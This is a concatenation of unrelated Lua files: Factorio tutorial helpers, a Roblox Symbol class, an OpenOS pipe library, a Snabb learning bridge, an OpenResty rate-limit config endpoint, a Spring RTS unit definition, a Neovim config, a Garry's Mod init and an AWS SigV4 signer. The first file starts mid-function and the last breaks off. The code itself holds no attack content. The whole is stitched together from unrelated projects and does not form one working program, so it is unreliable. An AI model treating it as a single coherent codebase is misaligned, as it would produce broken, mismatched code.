if entity.amount then created.amount = entity.amount end if entity.inventory then for index, contents in pairs (entity.inventory) do local inventory = created.get_inventory(index) if inventory then for name, count in pairs (contents) do created.insert({name = name, count = count}) end end end end if entity.line_contents then for k, contents in pairs (entity.line_contents) do local line = created.get_transport_line(k) for name, count in pairs (contents) do for i = 0, count-1 do line.insert_at((0.1+i)/count, {name = name, count = 1}) end end end end if entity.backer_name then created.backer_name = entity.backer_name end if entity.text then created.text = entity.text end if entity.color then created.color = entity.color end if entity.recipe then created.set_recipe(entity.recipe) end created.minable = entity.minable created.rotatable = entity.rotatable created.operable = entity.operable created.destructible = entity.destructible if entity.schedule then created.train.schedule = entity.schedule created.train.speed = entity.speed created.train.manual_mode = entity.manual_mode end created_entities[created_count] = created created_count = created_count + 1 else remaining[remaining_count] = entity remaining_count = remaining_count + 1 end end end end if not bool then for k, entity in pairs (recreate_entities(remaining, param, true)) do created_entities[created_count] = entity created_count = created_count + 1 end end for k, entity in pairs (array) do local created = index_map[entity.index] if created and created.valid then if entity.circuit_connection_definitions then for index, definition in pairs (entity.circuit_connection_definitions) do entity_to_connect = index_map[index] if entity_to_connect.valid then created.connect_neighbour({wire = definition.wire, target_entity = entity_to_connect, source_circuit_id = definition.source_circuit_id, target_circuit_id = definition.target_circuit_id}) end end end end end return created_entities end function limit_camera(origin, distance) for k, player in pairs (game.players) do local position = player.position local new_position = {} new_position.x = math.min (position.x, origin[1] + distance) new_position.x = math.max (new_position.x, origin[1] - distance) new_position.y = math.min (position.y, origin[2] + distance) new_position.y = math.max (new_position.y, origin[2] - distance) if (new_position.x ~= position.x) or (new_position.y ~= position.y) then player.teleport(new_position) end end end function find_gui_recursive(gui, name) for k, child in pairs (gui.children) do if child.name == name then return child end local result = find_gui_recursive(child, name) if result then return result end end return false end function add_button(gui) local button = gui.add{type = "button", name = "story_continue_button", caption = {"continue"}} global.continue = false return button end function on_gui_click(event) if event.name ~= defines.events.on_gui_click then return end local element = event.element if not element.valid then return end local name = element.name local player = game.players[event.player_index] if name == "story_continue_button" then if not element.enabled then return end global.continue = true set_continue_button_style(function (button) if button.valid then button.enabled = false end end) element.enabled = false return end if name == "message_log_close_button" then element.parent.visible = not element.parent.visible return end if name == "toggle_message_log_button" then local gui = player.gui.center if gui.message_log_frame then gui.message_log_frame.visible = not gui.message_log_frame.visible end element.sprite = "message_log_icon" return end if name == "toggle_objective_button" then local gui = player.gui.goal if gui then gui.visible = not gui.visible end return end if story_gui_click then story_gui_click(event) end end function set_continue_button_style(func) for k, player in pairs (game.players) do local button = find_gui_recursive(player.gui, "story_continue_button") if button then func(button) end end end --Should only be used in mini-tutorials for convenience function player(i) if not i then i = 1 end return game.players[i] end --Use carefully, it might not be what you want function surface(i) if not i then i = 1 end return game.surfaces[i] end function deconstruct_on_tick(entities, seconds) local tick = game.tick if entities then seconds = seconds or 1 local duration = seconds*60 --Shuffle the table local rand = math.random local size = #entities for k, entity in pairs (entities) do local index = rand(size) entities[k], entities[index] = entities[index], entities[k] end local new_table = {} for k = 1, duration do new_table[tick+k] = {} end local insert = table.insert for k, entity in pairs (entities) do local tick_to_deconstruct = 1 + tick + (k % duration) insert(new_table[tick_to_deconstruct], entity) end global.entities_to_deconstruct_on_tick = new_table global.entities_to_deconstruct_on_tick.end_tick = tick + duration return end if tick > global.entities_to_deconstruct_on_tick.end_tick then global.entities_to_deconstruct_on_tick = nil return true end local entities = global.entities_to_deconstruct_on_tick[tick] if entities then for k, entity in pairs (entities) do if entity.valid then --surface().create_entity{name = "explosion", position = entity.position} entity.destroy() end end global.entities_to_deconstruct_on_tick[tick] = nil end end function recreate_entities_on_tick(entities, param, seconds) local tick = game.tick if entities then local duration if seconds then duration = seconds*60 else duration = #entities end local new_table = {} for k = 1, duration do new_table[k+tick] = {} end local insert = table.insert for k, entity in pairs (entities) do local tick_to_build = 1 + tick + ((k-1) % duration) insert(new_table[tick_to_build], entity) end new_table.param = param new_table.end_tick = tick + duration global.entities_to_build_on_tick = new_table return end if tick > global.entities_to_build_on_tick.end_tick then global.entities_to_build_on_tick = nil return true end local entities = global.entities_to_build_on_tick[tick] if entities then recreate_entities(entities, global.entities_to_build_on_tick.param) global.entities_to_build_on_tick[tick] = nil end end function flying_congrats(position) if not position then position = player().position end if not position.x then position.x = position[1] end if not position.y then position.y = position[2] end surface().create_entity{name = "tutorial-flying-text", text = {"tutorial-gui.objective-complete"}, position = {position.x, position.y - 1.5}, color = {r = 0.1, g = 1, b = 0.1}} end
--!strict -- Symbol -- Stephen Leitnick -- December 27, 2020 --[[ symbol = Symbol.new(id: string [, scope: Symbol]) Symbol.Is(obj: any): boolean Symbol.IsInScope(obj: any, scope: Symbol): boolean --]] local CLASSNAME = "Symbol" local Symbol = {} Symbol.__index = Symbol function Symbol.new(id: any, scope: any) assert(id ~= nil, "Symbol ID cannot be nil") if scope ~= nil then assert(Symbol.Is(scope), "Scope must be a Symbol or nil") end local self = setmetatable({ ClassName = CLASSNAME; _id = id; _scope = scope; }, Symbol) return self end function Symbol.Is(obj: any): boolean return type(obj) == "table" and getmetatable(obj) == Symbol end function Symbol.IsInScope(obj: any, scope: Symbol): boolean return Symbol.Is(obj) and obj._scope == scope end function Symbol:__tostring() return ("Symbol<%s>"):format(self._id) end export type Symbol = typeof(Symbol.new("Test", nil)) return Symbol
local process = require("process") local shell = require("shell") local buffer = require("buffer") local command_result_as_code = require("sh").internal.command_result_as_code local pipe = {} local _root_co = assert(process.info(), "process metadata failed to load").data.coroutine_handler -- root can be a coroutine or a function function pipe.createCoroutineStack(root, env, name) checkArg(1, root, "thread", "function") if type(root) == "function" then root = assert(process.load(root, env, nil, name or "pipe"), "failed to load proc data for given function") end local proc = assert(process.list[root], "coroutine must be a process thread else the parent process is corrupted") local pco = setmetatable({root=root}, {__index=_root_co}) proc.data.coroutine_handler = pco function pco.yield(...) return _root_co.yield(nil, ...) end function pco.yield_past(co, ...) return _root_co.yield(co, ...) end function pco.resume(co, ...) checkArg(1, co, "thread") local args = table.pack(...) while true do -- for consecutive sysyields local result = table.pack(_root_co.resume(co, table.unpack(args, 1, args.n))) local target = result[2] == true and pco.root or result[2] if not result[1] or _root_co.status(co) == "dead" then return table.unpack(result, 1, result.n) elseif target and target ~= co then args = table.pack(_root_co.yield(table.unpack(result, 2, result.n))) else return true, table.unpack(result, 3, result.n) end end end return pco end local pipe_stream = { continue = function(self, exit) local result = table.pack(coroutine.resume(self.next)) while true do -- repeat resumes if B (A|B) makes a natural yield -- if B crashed or closed in the last resume -- then we can close the stream if coroutine.status(self.next) == "dead" then self:close() -- always cause os.exit when the pipe closes -- this is very important -- e.g. cat very_large_file | head -- when head is done, cat should stop result[1] = nil end -- the pipe closed or crashed if not result[1] then if exit then os.exit(command_result_as_code(result[2])) end return self end -- next is suspended, read_mode indicates why if self.read_mode then -- B wants A to write again, resume A return self end -- not reading, it is requesting a yield -- yield_past(true) will exit this coroutine stack result = table.pack(coroutine.yield_past(true, table.unpack(result, 2, result.n))) result = table.pack(coroutine.resume(self.next, table.unpack(result, 1, result.n))) -- the request was for an event end end, close = function(self) self.closed = true if coroutine.status(self.next) == "suspended" then self:continue() end self.redirect = {} end, seek = function() return nil, "bad file descriptor" end, write = function(self, value) if not self.redirect[1] and self.closed then -- if next is dead, ignore all writes if coroutine.status(self.next) ~= "dead" then io.stderr:write("attempt to use a closed stream\n") os.exit(1) end elseif self.redirect[1] then return self.redirect[1]:write(value) elseif not self.closed then self.buffer = self.buffer .. value return self:continue(true) end os.exit(0) -- abort the current process: SIGPIPE end, read = function(self, n) if self.closed then return nil -- eof end if self.redirect[0] then -- popen could be using this code path -- if that is the case, it is important to leave stream.buffer alone return self.redirect[0]:read(n) elseif self.buffer == "" then -- the pipe_stream write resume is waiting on this process B (A|B) to yield -- yield here requests A to output again. However, B may elsewhere want a -- natural yield (i.e. for events). To differentiate this yield from natural -- yields we set read_mode here, which the pipe_stream write detects self.read_mode = true coroutine.yield_past(self.next) -- next is the first croutine in this stack self.read_mode = false end local result = string.sub(self.buffer, 1, n) self.buffer = string.sub(self.buffer, n + 1) return result end } -- prog1 | prog2 | ... | progn function pipe.buildPipeChain(progs) local chain = {} local prev_piped_stream for i=1,#progs do local thread = progs[i] -- A needs to be a stack in case any thread in A call write and then B natural yields -- B needs to be a stack in case any thread in B calls read pipe.createCoroutineStack(thread) chain[i] = thread local data = process.info(thread).data local pio = data.io local piped_stream if i < #progs then local handle = setmetatable({redirect = {rawget(pio, 1)},buffer = ""}, {__index = pipe_stream}) piped_stream = buffer.new("rw", handle) piped_stream:setvbuf("no", 1024) pio[1] = piped_stream table.insert(data.handles, piped_stream) end if prev_piped_stream then prev_piped_stream.stream.redirect[0] = rawget(pio, 0) prev_piped_stream.stream.next = thread pio[0] = prev_piped_stream end prev_piped_stream = piped_stream end return chain end local chain_stream = { read = function(self, value, ...) if self.io_stream.closed then return nil end -- wake up prog self.ready = false -- the pipe proc sets this true when ios completes local ret = table.pack(coroutine.resume(self.pco.root, value, ...)) if coroutine.status(self.pco.root) == "dead" then return nil elseif not ret[1] then return table.unpack(ret, 1, ret.n) end if not self.ready then -- prog yielded back without writing/reading return self:read(coroutine.yield()) end return ret[2] end, write = function(self, ...) return self:read(...) end, close = function(self) self.io_stream:close() end, } function pipe.popen(prog, mode, env) mode = mode or "r" if mode ~= "r" and mode ~= "w" then return nil, "bad argument #2: invalid mode " .. tostring(mode) .. " must be r or w" end local r = mode == "r" local chain = {} -- to simplify the code - shell.execute is run within a function to pass (prog, env) -- if cmd_proc where to come second (mode=="w") then the pipe_proc would have to pass -- the starting args. which is possible, just more complicated local cmd_proc = process.load(function() return shell.execute(prog, env) end, nil, nil, prog) -- the chain stream is the popen controller local stream = setmetatable({}, { __index = chain_stream }) -- the stream needs its own process for io local pipe_proc = process.load(function() local n = r and 0 or "" local key = r and "read" or "write" local ios = stream.io_stream while not ios.closed do -- read from pipe local ret = table.pack(ios[key](ios, n)) stream.ready = true -- yield outside the chain now n = coroutine.yield_past(chain[1], table.unpack(ret, 1, ret.n)) end end, nil, nil, "pipe_handler") chain[r and 1 or 2] = cmd_proc chain[r and 2 or 1] = pipe_proc -- link the cmd and pipe proc io pipe.buildPipeChain(chain) local cmd_data = process.info(chain[1]).data local cmd_stack = cmd_data.coroutine_handler -- store handle to io_stream from easy access later stream.io_stream = cmd_data.io[1].stream stream.pco = cmd_stack -- popen commands start out running, like threads cmd_stack.resume(cmd_stack.root) local buffered_stream = buffer.new(mode, stream) buffered_stream:setvbuf("no", 1024) return buffered_stream end return pipe
local monster_config = {} return monster_config
-- This class derives from lib.bridge.base and implements a "learning -- bridge" using a Bloom filter (provided by lib.bloom_filter) to -- store the set of MAC source addresses of packets arriving on each -- port. -- -- Two Bloom storage cells called mac_table and mac_shadow are -- allocated for each port connected to the bridge. For each packet -- arriving on a port, the MAC source address is stored in both cells. -- The mac_table cell is used during packet forwarding while -- mac_shadow is used to time out the learned addresses. -- -- When a packet is received on a port, its MAC destination address is -- looked up in the mac_table cells of all associated output -- ports. The packet is sent on all ports for which the lookup results -- in a match, replicating the packet if necessary. A destination can -- be associated with multiple output ports, either because the -- address has actually been learned on multiple ports or due to false -- positives in the lookup operation, which are inevitable for Bloom -- filters. -- -- Multicast MAC addresses are always flooded to all output ports -- associated with the input port. -- -- The timing out of learned addresses is implemented by periodically -- copying mac_shadow to mac_table and clearing mac_shadow for every -- port. I.e., mac_table contains only the addresses learned during -- the past timeout interval. -- -- Configuration variables (via the "config" table in the generic -- configuration of the base class) -- -- mac_table_size (default 1000) -- -- Expected maximum number of MAC addresses to store in each -- per-port Bloom filter. -- -- fp_rate (default 0.001) -- -- Maximum rate of false-positives for lookups in the Bloom -- filters, provided the number of distinct objects stored in the -- filter does not exceed mac_table_size. -- -- timeout (default 60 seconds) -- -- Timeout for learned MAC addresses in seconds. -- -- verbose (default false) -- -- If true, a diagnostic message containing the storage cell usage -- of each mac_table is printed to stdout -- module(..., package.seeall) local ffi = require("ffi") local bridge_base = require("apps.bridge.base").bridge local packet = require("core.packet") local link = require("core.link") local bloom = require("lib.bloom_filter") local ethernet = require("lib.protocol.ethernet") local empty, receive, transmit = link.empty, link.receive, link.transmit local clone = packet.clone bridge = subClass(bridge_base) bridge._name = "learning bridge" local default_config = { mac_table_size = 1000, fp_rate = 0.001, timeout = 60, verbose = false } function bridge:new (arg) local o = bridge:superClass().new(self, arg) local conf = o._conf for k, v in pairs(default_config) do if not conf[k] then conf[k] = v end end local bf = bloom:new(conf.mac_table_size, conf.fp_rate) o._bf = bf o._nsrc_ports = #o._src_ports o._port_index = 1 -- Per-port Bloom filters o._filters = {} for _, port in ipairs(o._src_ports) do o._filters[port] = { mac_table = bf:cell_new(), mac_shadow = bf:cell_new(), mac_address = bf:item_new() } end o._eth_dst = bf:item_new() timer.activate(timer.new("mac_learn_timeout", function (t) if conf.verbose then print("MAC learning timeout") print("Table usage per port:") end for port, filter in pairs(o._filters) do bf:cell_copy(filter.mac_shadow, filter.mac_table) bf:cell_clear(filter.mac_shadow) if conf.verbose then print(string.format("\t%s: %02.2f%%", port, 100*bf:cell_usage(filter.mac_table))) end end end, conf.timeout *1e9, 'repeating') ) -- Caches for various cdata pointer objects to avoid boxing in the -- push() loop o._cache = { p = ffi.new("struct packet *[1]"), mem = ffi.new("uint8_t *[1]") } return o end -- We only process a single input port for each call of the push() -- method to reduce the number of nested loops. A better -- understanding of the JIT compiler is needed to decide whether this -- is actually a good thing or not. Empirical data suggests it is :) function bridge:push() local src_port = self._src_ports[self._port_index] local l_in = self.input[src_port] while not empty(l_in) do local cache = self._cache local dst_ports = self._dst_ports local p = cache.p local mem = cache.mem local filters = self._filters local eth_dst = self._eth_dst local bf = self._bf p[0] = receive(l_in) -- Create a storage item from the destination MAC address -- for matching with the source addresses learned on the -- outbound ports, unless it is a multicast address. mem[0] = packet.data(p[0]) local is_mcast = ethernet:is_mcast(mem[0]) if not is_mcast then bf:store_value(mem, 6, eth_dst) end -- Store the source MAC address in the active and shadow -- Bloom filters. local filter = filters[src_port] local mac_address = filter.mac_address mem[0] = mem[0] + 6 bf:store_value(mem, 6, mac_address, filter.mac_table) bf:store_item(mac_address, filter.mac_shadow) local ports = dst_ports[src_port] local copy = false local j = 1 while ports[j] do local dst_port = ports[j] if is_mcast or bf:check_item(eth_dst, filters[dst_port].mac_table) then if not copy then transmit(self.output[dst_port], p[0]) copy = true else transmit(self.output[dst_port], clone(p[0])) end end j = j + 1 end if not copy then -- The source MAC address is unknown, flood the packet to -- all ports local output = self.output transmit(output[ports[1]], p[0]) local j = 2 while ports[j] do transmit(output[ports[j]], clone(p[0])) j = j + 1 end end end -- of while not empty(l_in) if self._port_index == self._nsrc_ports then self._port_index = 1 else self._port_index = self._port_index + 1 end end
ngx.header["Content-Type"] = "application/json;charset=UTF-8" local cjson = require('cjson.safe') local jencode = cjson.encode local system_conf = require "config.init" local denycc_rate_conf = system_conf.denycc_rate_conf local ngxshared = ngx.shared local denycc_conf = ngxshared.denycc_conf local config = { ["denycc_switch"] = denycc_conf:get('denycc_switch') or system_conf.denycc_switch, ["denycc_rate_request"] = denycc_conf:get('denycc_rate_request') or denycc_rate_conf.request, ["denycc_rate_ts"] = denycc_conf:get('denycc_rate_ts') or denycc_rate_conf.ts, ["whitelist_ips"] = system_conf.whitelist_ips } ngx.print(jencode(config))
-- Copyright 2018 Sadkit local inertia = require("inertia") local picture = display.newRect( 50, 50, 150, 50 ) picture.strokeWidth = 3 picture:setFillColor( 0.5 ) picture:setStrokeColor( 1, 0, 0 ) local function onNewFrame() inertia.moveTo(picture, 200, 400, 4, 60) inertia.rotate(picture, 4000, 60) end Runtime:addEventListener("enterFrame", onNewFrame)
return { tllinsulator = { acceleration = 0.1, amphibious = 1, brakerate = 0.05, buildcostenergy = 88394, buildcostmetal = 6645, builder = false, buildpic = "tllinsulator.dds", buildtime = 75000, canattack = true, canguard = true, canmove = true, canpatrol = true, canstop = 1, category = "ALL MEDIUM MOBILE SURFACE UNDERWATER", collisionvolumeoffsets = "0 -7 4", collisionvolumescales = "67 67 86", collisionvolumetype = "CylZ", corpse = "dead", defaultmissiontype = "Standby", description = "Amphibious Assault Tank", explodeas = "CRAWL_BLASTSML", firestandorders = 1, footprintx = 4, footprintz = 4, idleautoheal = 5, idletime = 1800, leavetracks = true, losemitheight = 60, maneuverleashlength = 640, mass = 6445, maxdamage = 19060, maxslope = 12, maxvelocity = 1.45, maxwaterdepth = 255, mobilestandorders = 1, movementclass = "ATANK3", name = "Insulator", noautofire = false, objectname = "tllinsulator", radaremitheight = 60, seismicsignature = 0, selfdestructas = "CRAWL_BLAST", sightdistance = 500, standingfireorder = 2, standingmoveorder = 1, steeringmode = 1, trackoffset = 6, trackstrength = 5, trackstretch = 1, tracktype = "StdTank", trackwidth = 42, turninplace = 0, turninplaceanglelimit = 140, turninplacespeedlimit = 0.858, turnrate = 330, unitname = "tllinsulator", customparams = { buildpic = "tllinsulator.dds", faction = "TLL", }, featuredefs = { dead = { blocking = false, collisionvolumeoffsets = "-0.186714172363 0.0605638549805 -0.322418212891", collisionvolumescales = "50.9460906982 23.33152771 45.8317565918", collisionvolumetype = "Box", damage = 2968, description = "Insulator Wreckage", featuredead = "heap", footprintx = 2, footprintz = 2, metal = 373, object = "tllinsulator_DEAD", reclaimable = true, }, heap = { blocking = false, damage = 3711, description = "Insulator Debris", energy = 0, footprintx = 2, footprintz = 2, metal = 199, object = "2X2A", reclaimable = true, }, }, sfxtypes = { explosiongenerators = { [1] = "custom:goliathflare", [2] = "custom:PILOT", }, pieceexplosiongenerators = { [1] = "piecetrail0", [2] = "piecetrail1", [3] = "piecetrail2", [4] = "piecetrail3", [5] = "piecetrail4", [6] = "piecetrail6", }, }, sounds = { canceldestruct = "cancel2", underattack = "warning1", cant = { [1] = "cantdo4", }, count = { [1] = "count6", [2] = "count5", [3] = "count4", [4] = "count3", [5] = "count2", [6] = "count1", }, ok = { [1] = "tarmmove", }, select = { [1] = "tarmsel", }, }, weapondefs = { tll_flame = { areaofeffect = 48, avoidfeature = false, burst = 22, burstrate = 0.01, craterareaofeffect = 0, craterboost = 0, cratermult = 0, firestarter = 100, flamegfxtime = 1.4, groundbounce = true, impulseboost = 0, impulsefactor = 0, intensity = 0.6, name = "Flame", noselfdamage = true, range = 340, reloadtime = 1.1, rgbcolor = "1 0.95 0.9", rgbcolor2 = "0.9 0.85 0.8", sizegrowth = 1.25, soundhitwet = "sizzle", soundhitwetvolume = 0.5, soundstart = "Flamhvy1", soundtrigger = false, sprayangle = 675, tolerance = 2500, turret = true, weapontimer = 1.5, weapontype = "Flame", weaponvelocity = 265, damage = { default = 24, flamethrowers = 8, subs = 5, }, }, tll_insulator = { areaofeffect = 300, avoidfeature = false, cegtag = "Trail_cannon_med", craterareaofeffect = 300, craterboost = 0, cratermult = 0, explosiongenerator = "custom:FLASH96", gravityaffected = "TRUE", impulseboost = 0.123, impulsefactor = 0.123, name = "HeavyCannon", nogap = 1, noselfdamage = true, range = 700, reloadtime = 2.5, rgbcolor = "0.72 0.4 0", separation = 0.45, size = 2.7, sizedecay = -0.15, soundhitdry = "xplomed4", soundhitwet = "splslrg", soundhitwetvolume = 0.6, soundstart = "cannhvy2", stages = 20, turret = true, weapontype = "Cannon", weaponvelocity = 325, damage = { commanders = 450, default = 1400, subs = 5, }, }, }, weapons = { [1] = { def = "TLL_INSULATOR", onlytargetcategory = "SURFACE", }, [2] = { badtargetcategory = "ANTIFLAME", def = "TLL_FLAME", maindir = "0 0 -1", maxangledif = 270, onlytargetcategory = "SURFACE", }, [3] = { badtargetcategory = "ANTIFLAME", def = "TLL_FLAME", maindir = "0 0 1", maxangledif = 270, onlytargetcategory = "SURFACE", }, }, }, }
require "config" local function createCoalOilPlantItem() data:extend( { { type = "item", name = "fusion-oil-plant", icon = "__fupower__/graphics/icons/fusion-oil-plant.png", flags = {"goes-to-quickbar"}, subgroup = "fusion-buildings", place_result = "fusion-oil-plant", order = "g", stack_size = 10 }, }) end if config.fuoil.coalOilPlant==true then createCoalOilPlantItem() end
-- dofile('./lua/plugins.lua') require('plugins') -- require 'impatient' local g = vim.g local cmd = vim.cmd local o, wo, bo = vim.o, vim.wo, vim.bo local utils = require 'config.utils' local opt = utils.opt local autocmd = utils.autocmd local map = utils.map -- Leader/local leader g.mapleader = [[ ]] g.maplocalleader = [[,]] -- Disable some built-in plugins we don't want local disabled_built_ins = { 'gzip', 'man', 'matchit', 'matchparen', 'shada_plugin', 'tarPlugin', 'tar', 'zipPlugin', 'zip', 'netrwPlugin', } for i = 1, 10 do g['loaded_' .. disabled_built_ins[i]] = 1 end -- Settings local buffer = { o, bo } local window = { o, wo } opt('textwidth', 100, buffer) opt('scrolloff', 7) opt('mouse', 'a') opt('wildignore', '*.o,*~,*.pyc') opt('wildmode', 'longest,full') opt('whichwrap', vim.o.whichwrap .. '<,>,h,l') opt('inccommand', 'nosplit') opt('lazyredraw', true) opt('showmatch', true) opt('ignorecase', true) opt('smartcase', true) opt('tabstop', 4, buffer) opt('softtabstop', 0, buffer) opt('expandtab', true, buffer) opt('shiftwidth', 4, buffer) opt('number', true, window) opt('relativenumber', true, window) opt('smartindent', true, buffer) opt('laststatus', 2) opt('showmode', false) opt('shada', [['20,<50,s10,h,/100]]) opt('hidden', true) opt('shortmess', o.shortmess .. 'c') opt('joinspaces', false) opt('guicursor', [[n-v-c:block,i-ci-ve:ver25,r-cr:hor20,o:hor50]]) opt('updatetime', 500) opt('maxmempattern', 1000000000) opt('conceallevel', 2, window) opt('concealcursor', 'nc', window) opt('previewheight', 5) opt('undofile', true, buffer) opt('synmaxcol', 500, buffer) opt('display', 'msgsep') opt('cursorline', true, window) opt('modeline', false, buffer) opt('mouse', 'nivh') opt('signcolumn', 'yes:1', window) -- Colorscheme opt('termguicolors', true) opt('background', 'dark') -- cmd [[colorscheme gruvbox-material]] -- cmd [[colorscheme nazgul]] -- Autocommands -- autocmd('start_screen', [[VimEnter * ++once lua require('start').start()]], true) autocmd( 'syntax_aucmds', [[Syntax * syn match extTodo "\<\(NOTE\|HACK\|BAD\|TODO\):\?" containedin=.*Comment.* | hi! link extTodo Todo]], true ) autocmd('misc_aucmds', { [[BufWinEnter * checktime]], [[TextYankPost * silent! lua vim.highlight.on_yank()]], [[FileType qf set nobuflisted ]], }, true) -- Commands cmd [[command! WhatHighlight :call util#syntax_stack()]] cmd [[command! PackerInstall packadd packer.nvim | lua require('plugins').install()]] cmd [[command! PackerUpdate packadd packer.nvim | lua require('plugins').update()]] cmd [[command! PackerSync packadd packer.nvim | lua require('plugins').sync()]] cmd [[command! PackerClean packadd packer.nvim | lua require('plugins').clean()]] cmd [[command! PackerCompile packadd packer.nvim | lua require('plugins').compile()]] -- Keybindings local silent = { silent = true } -- Disable annoying F1 binding map('', '<f1>', '<cmd>FloatermToggle<cr>') -- Run a build map('n', '<localleader><localleader>', '<cmd>Make<cr>', silent) -- Quit, close buffers, etc. map('n', '<leader>q', '<cmd>qa<cr>', silent) map('n', '<leader>x', '<cmd>x!<cr>', silent) map('n', '<leader>d', '<cmd>Sayonara<cr>', { silent = true, nowait = true }) -- A little Emacs in my Neovim map('n', '<c-x><c-s>', '<cmd>w<cr>', silent) map('i', '<c-x><c-s>', '<esc><cmd>w<cr>a', silent) -- Save buffer map('n', '<leader>w', '<cmd>w<cr>', { silent = true }) -- Version control map('n', 'gs', '<cmd>Neogit<cr>', silent) -- Terminal mode -- Esc in the terminal -- augroup Terminal -- autocmd! -- au TermOpen * tnoremap <buffer> <Esc><Esc> <c-\><c-n> -- au TermOpen * set nonu -- augroup end map('t', 'jj', [[<C-\><C-n>]]) -- Yank to clipboard map({ 'n', 'v' }, 'y+', '<cmd>set opfunc=util#clipboard_yank<cr>g@', silent) vim.cmd([[ let g:clipboard = { \ 'name': 'myClipboard', \ 'copy': { \ '+': ['tmux', 'load-buffer', '-'], \ '*': ['tmux', 'load-buffer', '-'], \ }, \ 'paste': { \ '+': ['tmux', 'save-buffer', '-'], \ '*': ['tmux', 'save-buffer', '-'], \ }, \ 'cache_enabled': 1, \ } ]]) -- remove lines contain selected contents -- vnoremap <silent> <leader>d y:g/\V<C-R>=escape(@",'/\')<CR>/d<CR> map('v', '<localleader>d', 'y:g/\\V<C-R>=escape(@",\'/\\\')<CR>/d<CR>') -- " replace selected string -- vnoremap <F4> y:%s/<C-R>=escape(@",'/\')<CR>/<C-R>=escape(@",'/\')<CR>/g<Left><Left> map('v', '<localleader>r', 'y:%s/<C-R>=escape(@",\'/\\\')<CR>/<C-R>=escape(@",\'/\\\')<CR>/g<Left><Left>') -- " map // to search selection -- vnoremap // y/\V<C-R>=escape(@",'/\')<CR><CR> map('v', '//', 'y/\\V<C-R>=escape(@",\'/\\\')<CR><CR>') -- " quick add quota to a word. -- nnoremap <leader>" viw<esc>a"<esc>bi"<esc>lel map('n', '<localleader>"', 'viw<esc>a"<esc>bi"<esc>lel') -- quick diffget map('n', '<localleader>dg', ':diffget<CR>', silent) -- use [[ / ]] to goto previous/next function function search_function_previous() vim.api.nvim_command(":noh") if vim.bo.filetype=="go" then vim.api.nvim_command("?func .*(") elseif vim.bo.filetype == "py" then vim.api.nvim_command("?def \\w*") end vim.api.nvim_command("let @/ = ''") vim.api.nvim_command("set hlsearch") end function search_function_next() vim.api.nvim_command(":noh") if vim.bo.filetype=="go" then vim.api.nvim_command("/func .*(") elseif vim.bo.filetype == "py" then vim.api.nvim_command("/def \\w*") end vim.api.nvim_command("let @/ = ''") vim.api.nvim_command("set hlsearch") end vim.api.nvim_set_keymap("n", "[[", ":lua search_function_previous()<CR>", {silent=true}) vim.api.nvim_set_keymap("n", "]]", ":lua search_function_next()<CR>", {silent=true}) -- Window movement map('n', '<c-h>', '<c-w>h') map('n', '<c-j>', '<c-w>j') map('n', '<c-k>', '<c-w>k') map('n', '<c-l>', '<c-w>l') -- Tab movement map('n', '(', '<cmd>tabpre<cr>') map('n', ')', '<cmd>tabnext<cr>') -- MAPPINGS map("n", "<S-t>", [[<Cmd>tabnew<CR>]], silent) -- new tab vim.cmd [[colorscheme gruvbox-material]]
return require 'rewrite_url_captures'
BOT_MODE = true include("shared.lua") include("sv_commands.lua") include("sv_convar.lua") include("sv_config.lua") include("sv_player.lua") include("sv_language.lua") include("sv_message.lua") include("sv_classmanager.lua") include("sv_roundmanager.lua") include("sv_eventmanager.lua") include("sv_infectionmanager.lua") include("sv_weaponmanager.lua") include("sv_extraitems.lua") include("sv_votemap.lua") include("sv_mapmanager.lua") include("sv_bank.lua") AddCSLuaFile("shared.lua") AddCSLuaFile("sh_bank.lua") AddCSLuaFile("sh_roundmanager.lua") AddCSLuaFile("sh_player.lua") AddCSLuaFile("sh_playermanager.lua") AddCSLuaFile("cl_hud.lua") AddCSLuaFile("cl_language.lua") AddCSLuaFile("cl_message.lua") AddCSLuaFile("cl_player.lua") AddCSLuaFile("cl_roundmanager.lua") AddCSLuaFile("cl_menu.lua") AddCSLuaFile("cl_keymanager.lua") AddCSLuaFile("cl_derma.lua") AddCSLuaFile("cl_scoreboard.lua") AddCSLuaFile("zombieplague/gamemode/vgui/vgui_keybinding.lua") AddCSLuaFile("zombieplague/gamemode/vgui/vgui_hudcustomizer.lua") function SafeTableRandom(Table) local Result = table.Random(Table) return Result end hook.Add("PlayerDisconnected", "ZombiePlagueDisconnect", function(ply) RoundManager:RemovePlayerToPlay(ply) end) hook.Add("Initialize", "ServerReady", function() Dictionary:Init() ClassManager:SearchClasses() RoundManager:SearchRounds() WeaponManager:SearchWeapons() ExtraItemsManager:Search() MapManager:SearchConfigs() end) net.Receive("RequestServerStatus", function(len, ply) ply:SetLanguage(net.ReadString(), false) RoundManager:AddPlayerToPlay(ply) local Status = RoundManager:GetServerStatus(ply) net.Start("SendServerStatus") net.WriteTable(Status) net.Send(ply) end) util.AddNetworkString("OpenZPMenu") util.AddNetworkString("RequestServerStatus") util.AddNetworkString("SendServerStatus") util.AddNetworkString("OpenBackMenu")
-- generate amazon v4 authorization signature -- https://docs.aws.amazon.com/general/latest/gr/signature-version-4.html -- Author: jeffry L. paragasu@gmail.com -- Licence: MIT local resty_sha256 = require 'resty.sha256' local hmac = require 'resty.hmac' local str = require 'resty.string' local aws_key, aws_secret, aws_region, aws_service, aws_host local iso_date, iso_tz, cont_type, req_method, req_path, req_body, req_querystr local _M = { _VERSION = '0.1.0' } local mt = { __index = _M } -- init new aws auth function _M.new(self, config) aws_key = config.aws_key aws_secret = config.aws_secret aws_region = config.aws_region aws_service = config.aws_service aws_host = config.aws_host cont_type = config.content_type or "application/x-www-form-urlencoded" req_method = config.request_method or "POST" req_path = config.request_path or "/" req_body = config.request_body req_querystr = config.request_querystr or "" -- set default time self:set_iso_date(ngx.time()) return setmetatable(_M, mt) end -- required for testing function _M.set_iso_date(self, microtime) iso_date = os.date('!%Y%m%d', microtime) iso_tz = os.date('!%Y%m%dT%H%M%SZ', microtime) end -- create canonical headers -- header must be sorted asc function _M.get_canonical_header(self) local h = { 'content-type:' .. cont_type, 'host:' .. aws_host, 'x-amz-date:' .. iso_tz } return table.concat(h, '\n') end function _M.get_signed_request_body(self) local params = req_body if type(req_body) == 'table' then table.sort(params) params = ngx.encode_args(params) end local digest = self:get_sha256_digest(params or '') return string.lower(digest) -- hash must be in lowercase hex string end -- get canonical request -- https://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html function _M.get_canonical_request(self) local signed_header = 'content-type;host;x-amz-date' local canonical_header = self:get_canonical_header() local signed_body = self:get_signed_request_body() local param = { req_method, req_path, req_querystr, -- canonical querystr canonical_header, '', -- required signed_header, signed_body } local canonical_request = table.concat(param, '\n') 